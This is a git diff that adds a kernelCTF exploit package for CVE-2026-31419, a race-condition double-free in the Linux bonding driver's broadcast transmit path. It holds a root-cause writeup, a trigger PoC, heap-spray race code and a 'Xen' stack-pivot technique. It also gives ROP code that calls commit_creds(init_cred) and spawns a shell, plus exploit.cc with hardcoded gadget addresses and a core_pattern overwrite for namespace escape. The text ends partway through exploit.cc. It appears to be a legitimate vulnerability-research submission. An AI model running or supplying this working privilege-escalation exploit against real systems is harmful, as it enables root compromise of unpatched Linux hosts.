diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore
new file mode 100644
index 000000000..817b2d693
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/.gitignore
@@ -0,0 +1,3 @@
+bzImage
+vmlinux
+rootfs.img.gz
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md
new file mode 100644
index 000000000..2260ee582
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/exploit.md
@@ -0,0 +1,410 @@
+Exploit Details
+===============
+
+In this writeup we explain how we exploited CVE-2026-31419 to capture the flag
+on a `cos-121-18867.294.134` instance.
+
+# Prologue
+
+CVE-2026-31419 is a use-after-free in the Linux bonding driver. In broadcast
+mode, `bond_xmit_broadcast()` reuses the original `sk_buff` for the "last" slave
+and clones it for the others, but the "last" slave is chosen inside an
+RCU-protected loop. By racing slave enslave/release against a broadcast
+transmit, the original `skb` is consumed twice, giving us a UAF on an
+`skbuff_head_cache` object. We turn that UAF into RIP control via a fake `skb`,
+then perform ROP to escalate privileges.
+
+This writeup focuses on how we reach RIP control. Turning that control-flow-hijack
+primitive into a ROP chain relies on a novel **one-gadget stack-pivot** technique
+described in [`novel-techniques.md`](novel-techniques.md).
+
+## What We Cover
+
+- Root-cause analysis
+- Triggering the bug
+- Primitive analysis and exploitation design
+- Exploitation Details
+
+# Root-Cause Analysis
+
+The vulnerable function is `bond_xmit_broadcast()` in
+`drivers/net/bonding/bond_main.c`. The pre-patch source (Linux 6.12) is:
+
+```c
+/* in broadcast mode, we send everything to all usable interfaces. */
+static netdev_tx_t bond_xmit_broadcast(struct sk_buff *skb,
+ struct net_device *bond_dev)
+{
+ struct bonding *bond = netdev_priv(bond_dev);
+ struct slave *slave = NULL;
+ struct list_head *iter;
+ bool xmit_suc = false;
+ bool skb_used = false;
+
+ bond_for_each_slave_rcu(bond, slave, iter) {
+ struct sk_buff *skb2;
+
+ if (!(bond_slave_is_up(slave) && slave->link == BOND_LINK_UP))
+ continue;
+
+ if (bond_is_last_slave(bond, slave)) {
+ skb2 = skb;
+ skb_used = true;
+ } else {
+ skb2 = skb_clone(skb, GFP_ATOMIC);
+ if (!skb2) {
+ net_err_ratelimited("%s: Error: %s: skb_clone() failed\n",
+ bond_dev->name, __func__);
+ continue;
+ }
+ }
+
+ if (bond_dev_queue_xmit(bond, skb2, slave->dev) == NETDEV_TX_OK)
+ xmit_suc = true;
+ }
+
+ if (!skb_used)
+ dev_kfree_skb_any(skb);
+
+ if (xmit_suc)
+ return NETDEV_TX_OK;
+
+ dev_core_stats_tx_dropped_inc(bond_dev);
+ return NET_XMIT_DROP;
+}
+```
+
+This function has a race in how it uses `skb`.
+
+The central loop transmits `skb` to every usable slave. For each slave that is
+not the last one in the bond, it sends a clone (`skb_clone`); for the last
+slave, it reuses and consumes the original `skb`. Reusing the original for the
+last slave avoids one unnecessary clone, but it makes correctness depend on
+identifying the last slave exactly once. That check is broken:
+
+```
+#define bond_slave_list(bond) (&(bond)->dev->adj_list.lower)
+
+void *netdev_adjacent_get_private(struct list_head *adj_list)
+{
+ struct netdev_adjacent *adj;
+
+ adj = list_entry(adj_list, struct netdev_adjacent, list);
+
+ return adj->private;
+}
+
+EXPORT_SYMBOL(netdev_adjacent_get_private);
+
+#define bond_last_slave(bond) \
+ (bond_has_slaves(bond) ? \
+ netdev_adjacent_get_private(bond_slave_list(bond)->prev) : \
+ NULL)
+
+#define bond_is_last_slave(bond, pos) (pos == bond_last_slave(bond))
+```
+
+`bond_is_last_slave()` does not cache the last slave before the loop; it
+re-derives it from `(bond)->dev->adj_list` on every iteration. Because the loop
+is protected only by RCU, not by `rtnl`, that list can change underneath it: a
+concurrent enslave/release reorders `adj_list`, so a slave that was not last
+when the loop started can become last mid-iteration.
+
+Consider a bond with a single slave `dev1`, and two threads:
+
+- Thread 1: `bond_xmit_broadcast()`
+- Thread 2: repeatedly enslave a second device `dev2`, then release it
+
+The double-free interleaving is:
+
+- `bond_is_last_slave(dev1)` -> true, so `dev1` reuses and consumes the original `skb`
+- Thread 2 enslaves `dev2`, making it the new last slave
+- the loop advances to `dev2`; `bond_is_last_slave(dev2)` -> true, so `dev2` consumes the original `skb` again -> double-free
+
+
+```
+==================================================================
+BUG: KASAN: slab-use-after-free in skb_clone
+Read of size 8 at addr ffff888100ef8d40 by task exploit/147
+
+CPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY
+Call Trace:
+
+ dump_stack_lvl (lib/dump_stack.c:123)
+ print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)
+ kasan_report (mm/kasan/report.c:597)
+ skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108)
+ bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)
+ bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593)
+ dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887)
+ __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838)
+ ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136)
+ ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219)
+ ip6_output (net/ipv6/ip6_output.c:250)
+ ip6_send_skb (net/ipv6/ip6_output.c:1985)
+ udp_v6_send_skb (net/ipv6/udp.c:1442)
+ udpv6_sendmsg (net/ipv6/udp.c:1733)
+ __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206)
+ __x64_sys_sendto (net/socket.c:2209)
+ do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
+ entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)
+
+
+Allocated by task 147:
+
+Freed by task 147:
+
+The buggy address belongs to the object at ffff888100ef8c80
+ which belongs to the cache skbuff_head_cache of size 224
+The buggy address is located 192 bytes inside of
+ freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60)
+
+Memory state around the buggy address:
+ ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc
+ ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+>ffff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
+ ^
+ ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
+ ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
+==================================================================
+```
+
+# Triggering the Bug
+
+A PoC that triggers the bug inside a user namespace (which grants `CAP_NET_ADMIN`):
+
+```c
+ int fd = initNL();
+
+ // Master bond0
+ NLMsgSend(fd, bondAdd("bond0"));
+ NLMsgSend(fd, bondModeSet("bond0",3));
+ NLMsgSend(fd, linkSet("bond0",1));
+
+ // Two slaves
+ NLMsgSend(fd, dummyAdd("dummy0"));
+ NLMsgSend(fd, dummyAdd("dummy1"));
+ NLMsgSend(fd, linkMasterSet("dummy0","bond0"));
+ NLMsgSend(fd, linkMasterSet("dummy1","bond0"));
+ NLMsgSend(fd, dummySet("dummy0",1));
+ NLMsgSend(fd, dummySet("dummy1",1));
+ // Race
+ if(fork()){
+ pinCPU(0);
+ while(1){
+ NLMsgSend(fd, linkMasterSet("dummy0","bond0"));
+ NLMsgSend(fd, linkMasterDel("dummy0"));
+ }
+ }
+ else{
+ pinCPU(1);
+ interfaceBroadCase("bond0");
+ }
+```
+
+# Primitive Analysis and Exploitation Design
+
+## The primitive
+
+The bug is a double-free of an `skb`. To exploit any double-free in the kernel
+without crashing, we must reclaim the object between the two frees, so that the
+second free lands on an object we control rather than on already-freed memory.
+
+The difficulty here is timing: the bug performs both frees within a single
+syscall, so there is no natural pause between them. We need to widen the window
+between the two frees to fit a reclaim in.
+
+## Enlarging the double-free window
+
+The consumer netdev frees the `skb` from its `xmit` path, and that path can be
+made asynchronous by attaching a qdisc. We attach a `netem` qdisc with a delay
+to the target netdev, which holds the `skb` in its queue before freeing it. This
+delays the second free long enough to reclaim the object in between, turning the
+double-free into an exploitable use-after-free.
+
+## Exploitation design
+
+1. **Win the race**, combining *Triggering the Bug* with the delayed `netem`
+ qdisc on the target netdev from the previous subsection.
+2. **Reclaim** the freed slot with a forged `sk_buff` from the same
+ `skbuff_head_cache`, using a unix-socket `skb` spray to occupy the slot and a
+ `PACKET_TX_RING` page spray to back its contents.
+3. **Hijack RIP** through a function pointer in the forged `skb`.
+
+The rest of this writeup walks through these three steps as implemented in
+`exploit()`.
+
+# Exploitation Details
+
+## Common Techniques Used
+
+We rely on several common techniques that this report does not cover in detail:
+
+- Kernel ROP
+- user namespaces (`user_ns`)
+- raising the open-fd limit
+- `core_pattern` namespace escaping
+- stability improvements
+- code to make the exploit work under CI
+
+We had an elegant version that worked perfectly locally and remotely, but not
+under CI. It was fast and stable. After spending several days on CI, we gave up
+on delivering an elegant exploit.
+
+## Exploitation Flow
+
+This section explains the major steps in our `exploit.cc` (`void exploit(void)`).
+
+1. Before the race, we prepare the network:
+```c
+ // Master bond0
+ NLMsgSend(fd, bondAdd("bond0"));
+ // Set to the broadcast mode
+ NLMsgSend(fd, bondModeSet("bond0",3));
+ // Large enough MTU
+ NLS(fd, linkMtuSet("bond0",0x9999));
+ // Make it up
+ NLMsgSend(fd, linkSet("bond0",1));
+
+ // Add two slaves to it
+ // Slave 1: dummy0
+ // Slave 2: veth pair -> netem qdisc (so we can delay the skb consume)
+ NLMsgSend(fd, dummyAdd("dummy0"));
+ NLS(fd, vethAdd("veth0","veth1"));
+ NLS(fd, linkSet("veth1",1));
+ NLS_IF(fd, netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP),"veth0");
+ NLMsgSend(fd, linkMasterSet("veth0","bond0"));
+ NLMsgSend(fd, linkMasterSet("dummy0","bond0"));
+ NLMsgSend(fd, dummySet("dummy0",1));
+```
+
+2. Two threads race. Thread 1:
+```c
+ if(fork()==0){
+ pinCPU(0);
+ close(pipefd1[1]);
+ close(pipefd2[0]);
+
+ struct pollfd pfd1 = {.fd = pipefd1[0], .events=POLLIN};
+ for(int attempt = 0; attempt < MAX_RACE_ATTEMPTS; attempt++){
+ NLMsgSend(fd, linkMasterDel("veth0"));
+ NLMsgSend(fd, linkMasterSet("veth0","bond0"));
+
+ if(poll(&pfd1,1,0)>0)
+ {
+ // Allocate on cpu 0 and return to cpu 1
+ for(int i = 0x20 ; i < 0x31; i++)
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ pinCPU(1);
+ for(int i = 0x20 ; i < 0x31; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ write(pipefd2[1],trash, 4);
+ sleep(1000);
+ }
+ }
+ }
+```
+
+Stripped of the stability and state-detection code, it is as simple as:
+```c
+pinCPU(0);
+while (True)
+{
+ NLMsgSend(fd, linkMasterDel("veth0"));
+ NLMsgSend(fd, linkMasterSet("veth0","bond0"));
+}
+```
+
+3. Two threads race. Thread 2 (comments added for readability):
+```c
+ else{
+ // Prepare
+ size_t *ptr = (size_t *)trash;
+ char *qdisc_del_message = qdiscDel(0x10000);
+ char *qdisc_add_message = netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP);
+ pinCPU(1);
+ close(pipefd1[0]);
+ close(pipefd2[1]);
+
+ // Prepare 8 slabs for the cpu partial list
+ for(size_t i = 0x100 ; i < 0x180; i++)
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ // Start racing
+ while(1){
+ // 1. Allocation
+ // pre-pad
+ for(size_t i = 0x0 ; i < 0x10; i++)
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ // Allocate the target skb
+ sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0, (struct sockaddr *)&dst, sizeof(dst));
+ // a free slot should be taken by the sk_buff; confirmed in debugging, usually slot 0x10
+ // after-pad
+ for(size_t i = 0x10 ; i < 0x20; i++)
+ {
+ *ptr = i;
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ }
+
+
+ // 2. Trigger UAF
+ // Delete the skbs and the head in the queue
+ NLS_IF(fd, qdisc_del_message,"veth0");
+ // Reclaim the data object so we don't crash on the double free
+ for(int i = 0x40 ; i < 0x60; i++)
+ {
+ *ptr = i;
+ write(sk_fd[i][1],trash,SKB_DATA_SIZE);
+ }
+ // Confirm the UAF and reclaim the freed slot
+ for(size_t i = 0x10 ; i < 0x20; i++)
+ {
+ int res = read(sk_fd[i][0],trash, SKB_DATA_SIZE);
+ if(res < 0 || *ptr != i){
+ // Now we are sure we hit the race
+ write(pipefd1[1], "FIRE", 4);
+ read(pipefd2[0],trash,4);
+
+ for(size_t j = i+1 ; j < 0x20; j++)
+ read(sk_fd[j][0],trash,SKB_DATA_SIZE);
+ for(size_t i = 0x0 ; i < 0x10; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ for(int i = 0x100; i<0x180; i+=0x10)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ pgvAdd(0,0,0x100);
+ char * target = (char *)pgvMap(0);
+ char * fake_skb = make_fake_skb();
+ char buf[0x1000];
+ for(int i = 0 ; i < 0x10 ; i ++)
+ memcpy(buf+i*0x100,fake_skb,0x100);
+ for(int i = 0 ; i < 0x100 ; i++)
+ memcpy(target+i*0x1000,buf,0x1000);
+ success("Trying...");
+ res = recv(sk_fd[i][0], trash, 0,0);
+ if(res<0){
+ info("seems fail");
+ for(int i = 0x40 ; i < 0x60; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ info("Failed to exploit, retry...");
+ goto END;
+ }
+ else goto END; // We won
+ }
+
+ }
+ // Prepare for retry
+ NLS_IF(fd, qdisc_add_message,"veth0");
+ for(size_t i = 0x0 ; i < 0x10; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ for(int i = 0x40 ; i < 0x60; i++)
+ read(sk_fd[i][0],trash,SKB_DATA_SIZE);
+ }
+ }
+```
+
+4. Control-flow hijacking
+
+Reclaiming the freed `skbuff_head_cache` object with a forged `skb` gives us a
+control-flow-hijack primitive: the kernel calls an address of our choosing. From
+there we perform ROP, using a novel **one-gadget stack pivot** to turn this
+primitive into a ROP chain - described in
+[`novel-techniques.md`](novel-techniques.md).
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/novel-techniques.md
new file mode 100644
index 000000000..99cb21236
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/novel-techniques.md
@@ -0,0 +1,178 @@
+# Xen (X-Enter)
+
+We discovered a novel technique to achieve one-gadget stack pivoting.
+
+We use an `enter imm16, imm8` gadget to pivot the kernel stack into the adjacent
+vmalloc area, after spraying vmalloc blobs around the target stack frame.
+
+
+
+# enter imm16, imm8
+
+`enter imm16, imm8` builds a stack frame in one instruction. With level
+`L = imm8 & 0x1f`, it pushes `L+1` qwords, sets RBP, and then subtracts the
+16-bit `imm16` from RSP:
+
+```
+RSP -= imm16 + 8 * (L + 1)
+```
+
+We use it as a one-instruction stack pivot. A single `enter` drops RSP by up to
+~`0x10000`, enough to step out of the current kernel stack, across the
+`VMAP_STACK` guard page, and into the adjacent vmalloc pages we sprayed. This is
+why no register control is needed at the hijack site: we only need PC to reach
+one `enter` gadget.
+
+`enter` is the single-byte opcode `\xc8`, so it shows up all over the kernel as
+both intended and unintended gadgets (>1000 in a stock kernel). Finding a
+reachable one is not a problem.
+
+> On larger kernels, an `add rsp, imm` gadget can also pivot the stack, but it
+> is not very common.
+
+# vmalloc spray & X-enter
+
+For the default config the kernel stack lives in the vmalloc area, and vmalloc
+allocates linearly. So if we keep spraying user-controlled vmalloc pages, the
+stack at the moment of control-flow hijacking ends up surrounded by our pages.
+
+Layout we build:
+
+```
+ vmalloc (linear)
+ ┌────────────┬────────────┬───────┬────────────┐
+ │ sprayed │ sprayed │ STACK │ sprayed │ ...
+ │ RET-slide │ RET-slide │ (CFH) │ RET-slide │
+ │ + ROP │ + ROP │ │ + ROP │
+ └────────────┴────────────┴───────┴────────────┘
+```
+
+Each sprayed page is a long `ret` slide ending in the ROP chain, so wherever the
+`enter` leaves RSP inside the page, execution walks down the slide into the
+chain. The slide also absorbs the `RANDKSTACK` random offset.
+
+The pivot itself: at the hijack site RSP sits inside `STACK (CFH)`. A single
+`enter imm16, imm8` subtracts up to ~`0x10000` from RSP in one instruction,
+jumping it backwards across the `VMAP_STACK` guard page into a sprayed page.
+RSP now points into the `ret` slide, which carries execution down into the ROP
+chain:
+
+```
+ vmalloc (linear)
+ ┌────────────┬────────────┬───────┬────────────┐
+ │ sprayed │ sprayed │ STACK │ sprayed │ ...
+ │ RET-slide │ RET-slide │ (CFH) │ RET-slide │
+ │ + ROP │ + ROP │ │ + ROP │
+ └─────▲──────┴────────────┴───┬───┴────────────┘
+ │ │ RSP @ hijack
+ │ enter imm16, imm8 │
+ └───────────────────────┘
+ RSP -= ~0x10000
+ (across VMAP_STACK guard)
+
+ RSP now inside a sprayed page:
+ RET-slide ──ret──ret──ret──▶ ROP chain ──▶ commit_creds / SYSRET
+```
+
+We spray with XDP (`XDP_UMEM_REG`): it pins a user buffer into vmalloc. Raise
+`RLIMIT_MEMLOCK` first, fork a wave of sleeping children to stabilize the
+layout, then register the payload on many `AF_XDP` sockets.
+
+> Other vmalloc spray methods are also available in the kernel.
+
+
+# Example
+
+- Adjust the ROP related gadgets addresses
+- Past the following code to your exploit
+- call `xen();` before you trigger your control flow hijacking
+
+
+```c
+// xen code
+#include
+#include
+#include
+#include
+
+size_t kaslr = 0xffffffff81000000;
+#define POP_RDI_RET 0xffffffff824006b2
+#define POP_RCX_RET 0xffffffff8240060a
+#define POP_R11_RET 0xffffffff81c0bc31
+#define commit_creds 0xffffffff811bb410
+#define init_cred 0xffffffff83676840
+#define SYSRET 0xffffffff822001d0
+static inline size_t AA(size_t v) { // Adjust Address for gadgets
+ return v - 0xffffffff81000000 + kaslr;
+}
+void shell(){
+ system("/bin/sh");
+}
+size_t user_cs, user_ss, user_sp, user_rflags;
+void saveStatus() {
+ __asm__ (
+ "movq %%cs, %0;"
+ "movq %%ss, %1;"
+ "movq %%rsp, %2;"
+ "pushfq;"
+ "popq %3;"
+ : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
+ );
+}
+char* ropgen() {
+ int ct = 0;
+ size_t *ctx = (size_t *)calloc(1,0x1000);
+ ctx[ct++] = AA(POP_RDI_RET);
+ ctx[ct++] = AA(init_cred);
+ ctx[ct++] = AA(commit_creds);
+ ctx[ct++] = AA(POP_RCX_RET);
+ ctx[ct++] = (size_t)shell;
+ ctx[ct++] = AA(POP_R11_RET);
+ ctx[ct++] = user_rflags;
+ ctx[ct++] = AA(SYSRET);
+ ctx[ct++] = user_sp | 8;
+ ctx[ct++] = 0xdeadbeefdeadbeef; // Magic num for debugging
+ return (char*)ctx;
+}
+static void xen(void){
+ puts("Xen");
+ saveStatus();
+ struct rlimit rl = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY };
+ int sr = setrlimit(RLIMIT_MEMLOCK, &rl);
+ char *rop_chain = ropgen();
+ char buf[0x1000]= {};
+ size_t *ptr = (size_t *)buf;
+ for(int i = 0; i < 0x200; i ++)
+ ptr[i] = AA(POP_RDI_RET+1); // RET Slid
+ int offset= 0;
+ memcpy(buf+0x1000-0x8*10-offset,rop_chain,0x8*10);
+
+ char *m = mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0);
+ for (size_t i = 0; i < 0x10000; i += 0x1000)
+ memcpy(m + i+offset, buf, 0x1000-offset);
+ for(int i = 0 ; i< 0x200;i ++){
+ int pid = fork();
+ if(pid==0){
+ sleep(100);
+ exit(0);
+ }
+ }
+ // XDP Spray
+ for (int b = 0; b < 0x80; b++) {
+ int xs = socket(AF_XDP, SOCK_RAW, 0);
+ struct xdp_umem_reg mr = {
+ .addr = (size_t)m,
+ .len = 0x10000,
+ .chunk_size = 0x1000,
+ .headroom = 0,
+ .flags = 0,
+ };
+ int res = setsockopt(xs, SOL_XDP, XDP_UMEM_REG, &mr, sizeof(mr));
+ }
+ // Allocate a new stack fram as the target fram
+ int pid = fork();
+ if(pid)
+ waitpid(pid, 0, 0);
+}
+```
+
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md
new file mode 100644
index 000000000..7f8f31451
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/docs/vulnerability.md
@@ -0,0 +1,46 @@
+# Vulnerability
+
+CVE-2026-31419 is a use-after-free vulnerability in the Linux kernel's bonding
+driver, in `bond_xmit_broadcast()` (`drivers/net/bonding/bond_main.c`).
+
+bond_xmit_broadcast() reuses the original skb for the last slave
+(determined by bond_is_last_slave()) and clones it for others.
+Concurrent slave enslave/release can mutate the slave list during
+RCU-protected iteration, changing which slave is "last" mid-loop.
+This causes the original skb to be double-consumed (double-freed).
+
+```
+BUG: KASAN: slab-use-after-free in skb_clone
+Read of size 8 at addr ffff888100ef8d40 by task exploit/147
+ skb_clone (net/core/skbuff.c:2108)
+ bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)
+ bond_start_xmit (drivers/net/bonding/bond_main.c:5567 5593)
+ dev_hard_start_xmit (net/core/dev.c:3887)
+ __dev_queue_xmit (net/core/dev.c:4838)
+ ip6_finish_output2 (net/ipv6/ip6_output.c:136)
+ ...
+ udpv6_sendmsg (net/ipv6/udp.c:1733)
+ __sys_sendto (net/socket.c:2206)
+```
+
+## Requirements
+- **Capabilities**: `CAP_NET_ADMIN`
+- **Kernel configuration**: `CONFIG_BONDING`.
+- **User namespaces**: Required to obtain `CAP_NET_ADMIN` as an unprivileged
+ user.
+
+## Introduction
+- **Fixes tag**: [4e5bd03ae346](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4e5bd03ae346) ("net: bonding: fix bond_xmit_broadcast return value error bug")
+
+
+## Fix
+- **Commit**: [2884bf72fb8f](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2884bf72fb8f03409e423397319205de48adca16) ("net: bonding: fix use-after-free in bond_xmit_broadcast()")
+
+## Affected Versions
+- Linux 5.17-rc1 to 7.0-rc6
+
+## Subsystem
+- net/bonding
+
+## Root Cause
+- Race Condition
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore
new file mode 100644
index 000000000..68f5389b9
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/.gitignore
@@ -0,0 +1,8 @@
+# Fetched at build time (do not commit the binary DB)
+target_db.kxdb
+
+# Cloned + built at build time (libxdk with leak_kaslr_base)
+kernel-research/
+
+# Debug build artifact (the release `exploit` binary IS committed)
+exploit_debug
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile
new file mode 100644
index 000000000..87dc1b241
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/Makefile
@@ -0,0 +1,64 @@
+# Makefile for the CVE-2026-31419 exploit (C++ / libxdk).
+# The KASLR leak is provided by libxdk's leak_kaslr_base() (prefetch
+# side-channel + majority vote).
+#
+# Usage:
+# make # build ./exploit
+# make exploit_debug # build ./exploit_debug (with -g)
+# make clean
+
+CXX := g++
+CXXFLAGS := -O0 -static -std=c++17 -pthread -w
+DBGFLAGS := -g
+TARGET := exploit
+SOURCE := exploit.cc
+
+# Local libx.
+LIBX_DIR := ./libx
+LIBX_LIB := $(LIBX_DIR)/libx.a
+
+# libxdk: cloned + built from google/kernel-research (the version that ships
+# leak_kaslr_base()); the system-installed libkernelXDK.a predates it.
+KR_DIR := kernel-research
+XDK_INCLUDE := $(KR_DIR)/libxdk/include
+XDK_LIB := $(KR_DIR)/libxdk/lib/libkernelXDK.a
+
+INCLUDES := -I$(LIBX_DIR) -I$(XDK_INCLUDE)
+LIBS := $(LIBX_LIB) $(XDK_LIB) -lpthread
+
+# Target database embedded via INCBIN(target_db, "target_db.kxdb").
+KXDB := target_db.kxdb
+KXDB_URL := https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb
+
+.PHONY: all clean prerequisites exploit_debug
+
+all: prerequisites $(TARGET)
+
+prerequisites: $(LIBX_LIB) $(XDK_LIB) $(KXDB)
+
+# Build local libx.
+$(LIBX_LIB):
+ $(MAKE) -C $(LIBX_DIR)
+
+# Fetch the target database for AutoDetectTarget()/GetKernelPageCount().
+$(KXDB):
+ wget -O $@ $(KXDB_URL)
+
+# Clone libxdk.
+$(KR_DIR):
+ git clone --depth 1 https://github.com/google/kernel-research.git $@
+
+# Build the kernelXDK static archive (build.sh only builds the test target,
+# so invoke the library target explicitly; it installs to lib/libkernelXDK.a).
+$(XDK_LIB): | $(KR_DIR)
+ cd $(KR_DIR)/libxdk && cmake -B build && cmake --build build --target kernelXDK -j
+
+$(TARGET): $(SOURCE) prerequisites
+ $(CXX) $(CXXFLAGS) $(INCLUDES) $(SOURCE) -o $(TARGET) $(LIBS)
+
+exploit_debug: $(SOURCE) prerequisites
+ $(CXX) $(CXXFLAGS) $(DBGFLAGS) $(INCLUDES) $(SOURCE) -o exploit_debug $(LIBS)
+
+clean:
+ rm -f $(TARGET) exploit_debug
+ $(MAKE) -C $(LIBX_DIR) clean 2>/dev/null || true
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit
new file mode 100755
index 000000000..4a889f574
Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit differ
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.cc b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.cc
new file mode 100644
index 000000000..61ca78f58
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/exploit.cc
@@ -0,0 +1,412 @@
+// #define DEBUG True
+extern "C" {
+#include
+}
+#include
+#include
+#include
+#include
+#include
+#include
+INCBIN(target_db, "target_db.kxdb");
+
+size_t kaslr = -1;
+
+// libxdk target (kernelXDK database); used to resolve symbols and build the ROP
+// chain dynamically instead of hardcoding addresses for one specific target.
+Target *g_target = nullptr;
+
+#define LARGE_USEC_FOR_SLEEP 10000000000
+#define SKB_DATA_SIZE 0x400-0x140
+
+// The privesc symbols and the whole privesc + ret2usr ROP chain are resolved at
+// runtime from the kernelXDK database (see ropgen()) - no privesc address is
+// hardcoded. The only two raw gadgets below are the ones the Xen pivot needs and
+// that the kxdb does not carry (it has no `enter` one-gadget): the `enter` gadget
+// and a bare `ret` for the slide. Both are single-byte-opcode gadgets that exist
+// in abundance in any kernel image, so they are trivial to locate per target.
+//
+// Xen (X-Enter) one-gadget stack pivot. `enter 0xff48, 0x89; ret;` drops RSP by
+// 0xff48 + 8*(9+1) = 0xff98 - across the VMAP_STACK guard page into the XDP-
+// sprayed vmalloc RET-slide. imm16 is a multiple of 8 so RSP stays 8-aligned and
+// the RET-slide reads clean qwords (an odd sub like 0x1004f misaligns -> garbage).
+#ifdef DEBUG
+ #define ENTER_GADGET 0xffffffffdeadbeef
+#else
+ #define ENTER_GADGET 0xffffffff82536399 // enter 0xff48, 0x89; ret;
+#endif
+#define RET_SLIDE 0xffffffff810005b3 // ret;
+
+#define MAX_RACE_ATTEMPTS 2000 // inner master del/add spins
+
+// Relocate a base-relative address by the leaked KASLR base.
+static inline size_t AA(size_t v) { return v - KASLR + kaslr; }
+
+int if_bc_socket = -1;
+struct sockaddr_in6 dst;
+
+void prepare_if_bc(char *if_name){
+ if_bc_socket = socket(AF_INET6, SOCK_DGRAM, 0);
+ int ifindex = if_nametoindex(if_name);
+ dst.sin6_family = AF_INET6;
+ dst.sin6_port = htons(12345);
+ inet_pton(AF_INET6, "ff02::1", &dst.sin6_addr);
+ dst.sin6_scope_id = ifindex;
+}
+
+void fork_shell(){
+ success("PWN");
+ int fd = open("/proc/sys/kernel/core_pattern",2);
+ write(fd,"|/proc/%P/fd/666\0",18);
+ close(fd);
+ sleep(1000);
+}
+
+typedef struct {
+ size_t next;
+ size_t prev;
+ char pad[0x50];
+ size_t rip_control; // 0ffset = 0x60
+ size_t pad2;
+ unsigned int len;
+ unsigned int datalen; // offset = 0x74
+ char pad3[0xbc-0x78];
+ unsigned int end;
+ size_t head;
+ size_t cur;
+ char pad4[0xd4-0xd0];
+ unsigned int user;
+ char pad5[0xf0-0xe0];
+ size_t debug_magic;
+ char pad6[0x100-0xf8];
+} fake_skb_t;
+
+// Build the fake skb. With Xen the only field that matters for control flow is
